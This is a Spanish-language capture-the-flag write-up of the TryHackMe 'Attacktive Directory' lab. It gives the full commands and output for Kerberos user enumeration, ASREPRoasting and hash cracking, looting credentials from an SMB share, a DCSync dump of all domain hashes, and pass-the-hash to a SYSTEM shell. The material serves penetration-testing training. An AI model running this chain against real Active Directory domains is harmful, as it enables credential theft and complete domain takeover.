Page cover

🟠Attracktive Directory

En esta ocasión vamos a hacer el writeup de la máquina Attracktive Directory de TryHackMe una máquina Windows Active Directory de dificultad Medium.

Setup

Target: 10.10.26.240

Para esta máquina es necesario tener Bloodhound instalado, puedes consultar el proceso de instalación en la siguiente sección:

🩸BloodHound

Enumeración

Escaneo de puertos

sudo nmap -v -sV -sCV -T5 10.10.26.240
Nmap scan report for 10.10.26.240
Host is up (0.038s latency).
Not shown: 902 closed tcp ports (reset), 84 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-26 17:55:44Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-26T17:55:46+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-25T17:52:24
| Not valid after:  2025-09-24T17:52:24
| MD5:   1ed5:d662:02ab:4b75:fb03:8a67:4792:a10b
|_SHA-1: ffa5:3601:5900:44b7:c439:c5b2:c1ba:fece:4f0a:12b8
|_ssl-date: 2025-03-26T17:55:55+00:00; 0s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

La presencia del Global Catalog (3268) y LDAP + Kerberos indica 100% que este host es un Domain Controller. Destacamos los puertos:

  • 445 - SMB

  • 3268 - LDAP

  • 3389 - RDP

  • 5985 - WinRM

También encontramos el nombre del dominio, que añadiremos a nuestro /ect/hosts junto con la IP:

sudo echo "10.10.26.240 spookysec.local" | sudo tee -a /etc/hosts

Por el puerto 80 solamente tenemos el típico inicio de un Windows Server sin nada interesante:

Enumeración de usuarios via Kerberos

Vamos a usar kerbrute. Podemos instalarlo en Kali Linux con:

wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

Para esta máquina, TryHackMe nos proporciona una lista de Usuarios y una de Contraseñas que usaremos para ataques de fuerza bruta / enumeración.

kerbrute userenum -d spookysec.local --dc 10.10.26.240 userlist.txt

De los usuarios que encontramos destacamos:

  • svc-admin - Posible administrador de servicios

  • administrator - Posible Domain Admin

  • backup - Usuario interesante

Nos guardamos estos usuarios en una lista valid-users.txt que usaremos para otros ataques:

valid-users.txt
james
svc-admin
svc-admin
robin
darkstar
administrator
backup
paradox
ori

Abuso de Kerberos

Una vez finalizada la enumeración de cuentas de usuario, podemos intentar abusar de una característica dentro de Kerberos con un método de ataque llamado ASREPRoasting.

El ASREPRoasting ocurre cuando una cuenta de usuario tiene el privilegio "Does not require Pre-Authentication" . Esto significa que la cuenta no necesita proporcionar una identificación válida antes de solicitar un ticket Kerberos para la cuenta de usuario especificada.

Recuperación de tickets Kerberos

Impacket cuenta con una herramienta llamada " GetNPUsers.py " que nos permite consultar cuentas ASReproastables desde el Key Distribution Center (KDC). Lo único necesario para consultar cuentas es un conjunto válido de nombres de usuario , que enumeramos previamente mediante Kerbrute.

afsh4ck@kali$ impacket-GetNPUsers spookysec.local/ -usersfile valid-users.txt -dc-ip 10.10.26.240

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:42db3ad24ab2c4c34b2babd3c834a164$35d839b45ecbf6834017a6a240d0cd009bc3ca67c7f4bf961be3f7cb36401debf03e4aea6b79541077335707178a103d1c977d56daeb378652bb9a000c9fc6d34a3785fa0bde03d4c81f74da3e430623ba3b6e2d28b15228d231f1e1f6413660e8095c1bcec1b8ff13bcf38b026137ae6faf51dcb3f80905b8888d168fd156fff0c4a1374d91082f4e59987c981197aeabbb048cbcb5f60cf973a6534346519cf7df42a37ea679e5b3d4b80e06455765e73ef2cd31e87af46da9d58655d8178eaffdc7af8ec7113a32131260aedd9f0fb3f78cf6e720bfae189dffea66c480e5c7ed5e2ca37cc2da88ec1cafb5afd8550266
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ori doesn't have UF_DONT_REQUIRE_PREAUTH set

Obtenemos el hash del usuario svc-admin, que guardaremos en un archivo hash.txt para crackearlo con hashcat y el modo 18200 (Kerberos):

afsh4ck@kali$ hashcat -m 18200 hash.txt passwordlist.txt

<----SNIP---->
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:42db3ad24ab2c4c34b2babd3c834a164$35d839b45ecbf6834017a6a240d0cd009bc3ca67c7f4bf961be3f7cb36401debf03e4aea6b79541077335707178a103d1c977d56daeb378652bb9a000c9fc6d34a3785fa0bde03d4c81f74da3e430623ba3b6e2d28b15228d231f1e1f6413660e8095c1bcec1b8ff13bcf38b026137ae6faf51dcb3f80905b8888d168fd156fff0c4a1374d91082f4e59987c981197aeabbb048cbcb5f60cf973a6534346519cf7df42a37ea679e5b3d4b80e06455765e73ef2cd31e87af46da9d58655d8178eaffdc7af8ec7113a32131260aedd9f0fb3f78cf6e720bfae189dffea66c480e5c7ed5e2ca37cc2da88ec1cafb5afd8550266:management2005
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:42db3ad24ab...550266
Time.Started.....: Wed Mar 26 19:48:35 2025 (0 secs)
Time.Estimated...: Wed Mar 26 19:48:35 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (passwordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1702.7 kH/s (1.07ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8192/70188 (11.67%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/70188 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: m123456 -> whitey
Hardware.Mon.#1..: Util:  7%

Encontramos la contraseña en plano del usuario svc-admin!

Enumeración

Con las credenciales de esta cuenta de usuario, ahora tenemos mucho más acceso al dominio. Podemos intentar enumerar los recursos compartidos que el controlador de dominio pueda estar asignando.

Con smbclient -L podemos enumerar SMB Shares de una forma muy sencilla:

afsh4ck@kali$ smbclient -L 10.10.26.240 -U spookysec.local/svc-admin%management2005                      

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backup          Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 

También podemos usar SMBMap para obtener algo más de información:

smbmap -u svc-admin -p management2005 -H 10.10.26.240

Encontramos los siguiente recursos compartidos:

Recurso Compartido

Permisos

Descripción

ADMIN$

NO ACCESS

Administración remota

backup

READ ONLY

Posible acceso a archivos de respaldo

C$

NO ACCESS

Share predeterminado

IPC$

READ ONLY

Canal de comunicación remota

NETLOGON

READ ONLY

Archivos del servidor de inicio de sesión

SYSVOL

READ ONLY

Políticas y scripts de dominio

Nos interesa sobre todo el de backup, que puede contener archivos interesantes que contengan credenciales:

afsh4ck@kali$ smbclient -U svc-admin //10.10.26.240/backup

Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Apr  4 21:08:39 2020
  ..                                  D        0  Sat Apr  4 21:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 21:08:53 2020

		8247551 blocks of size 4096. 3604534 blocks available
		
smb: \> get backup_credentials.txt 
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)

Nos descargamos el archivo backup_credentials.txt. Vamos a echarle un ojo:

afsh4ck@kali$ cat backup_credentials.txt 
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Parece que el contenido está codificado en base64, vamos a decodificarlo:

afsh4ck@kali$ base64 -d backup_credentials.txt 
backup@spookysec.local:backup2517860

Obtenemos las credenciales del usuario backup!

Acceso por RDP

Vamos a acceder por RDP como el usuario svc-admin y a crear un recurso compartido en red para compartirnos herramientas fácilmente:

xfreerdp /v:10.10.26.240 /u:svc-admin /p:management2005 /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

Al acceder en el escritorio nos encontramos el user flag:

Bloodhound

Vamos a analizar el objetivo con Bloodhound para extraer más información sobre el dominio. Para ello podemos:

  • Importar el archivo SharpHound.exe a la máquina Windows, ejecutarlo y enviar a Kali de vuelta el zip que genera.

  • Ejecutar bloodhound-python desde Kali Linux con credenciales en el dominio.

Para evitar tener que enviar el archivo a la máquina Windows, y enviarlo de vuelta a Kali para analizarlo, utilizaremos bloodhound-python.

Para ello debemos primera configurar el archivo /etc/resolv.conf de la siguiente manera:

domain spookysec.local
nameserver 10.10.26.240
search spookysec.local

Ahora ya podemos ejecutar bloodhound-python de la siguiente manera. Usaremos las credenciales del usuario backup:

afsh4ck@kali$ bloodhound-python -d spookysec.local -u backup -p backup2517860 -dc AttacktiveDirectory.spookysec.local -c All --dns-tcp --zip

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: spookysec.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: AttacktiveDirectory.spookysec.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: AttacktiveDirectory.spookysec.local
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 21 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: AttacktiveDirectory.spookysec.local
INFO: Done in 00M 12S
INFO: Compressing output into 20250326202635_bloodhound.zip

Esto nos genera el zip que debemos importar en BloodHound. Para ello vamos a instalarlo siguiendo los pasos de la siguiente sección:

🩸BloodHound

Domain Admins

Vemos que hay solo 2 usuarios Domain Admins: a-spooks y administrator:

Enumeración de usuarios del sistema

Encontramos 4 cuentas interesantes en el grupo Domain Users:

  • A-SPOOKS - Domain Admin

  • ADMINISTRATOR - Domain Admin

  • SVC-ADMIN - Administrador

  • BACKUP - Usuario interesante (tenemos credenciales)

DCSync Right

La manera más simple de encontrar la ruta a un ataque DCSync es buscar por el nombre de dominio permisos GenericAll o DCSync de algún usuario o grupo:

Observamos que el usuario backup tiene permisos GenericAll sobre el DC, lo que significa que podemos realizar el ataque DcSync con este usuario para extraer todos los hashes de los usuarios del dominio. Esto nos serviría para extraer el hash del usuario administrator y conectarnos para obtener la flag.

Escalada de privilegios

Es la hora de intentar hacernos con el control total del dominio AD. Vamos a utilizar Impacket secretsdump con el usuario backup para realizar la extracción de todos los hashes.

Ataque DcSync

afsh4ck@kali$ impacket-secretsdump -just-dc backup:"backup2517860"@10.10.26.240

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
<----SNIP---->

Tenemos el hash del usuario administrator! Y el de todos los usuarios del dominio. Vamos a conectarnos por RDP haciendo un Pass the Hash.

Pass the Hash

xfreerdp /v:10.10.26.240 /u:administrator /pth:0e0363213e37b94221497260b0bcb4fc /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"

Al conectarnos nos da el mítico error de seguridad que no nos permite conectarnos por RDP haciendo un Pass the Hash:

Para bypassearlo vamos a usar impacket-psexec para hacer el Pass the Hash y conseguir una shell como SYSTEM:

afsh4ck@kali$ impacket-psexec -hashes :0e0363213e37b94221497260b0bcb4fc administrator@10.10.26.240 cmd
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.26.240.....
[*] Found writable share ADMIN$
[*] Uploading file hdDwCtRX.exe
[*] Opening SVCManager on 10.10.26.240.....
[*] Creating service VJXX on 10.10.26.240.....
[*] Starting service VJXX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1490]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

También podríamos usar EvilWinRM para hacer el pass the hash y obtener una shell, pero solamente obtendríamos una shell como Administrator, no como SYSTEM, por lo que preferiblemente debemos usar Impacket-Psexec:

afsh4ck@kali$ evil-winrm -i 10.10.26.240 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator

Acceso a la flag

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is EEA6-70E8

 Directory of C:\Users\Administrator\Desktop

04/04/2020  11:39 AM    <DIR>          .
04/04/2020  11:39 AM    <DIR>          ..
04/04/2020  11:39 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  14,630,461,440 bytes free

c:\Users\Administrator\Desktop> type root.txt
TryHackMe{4ctive***************}

Última actualización

¿Te fue útil?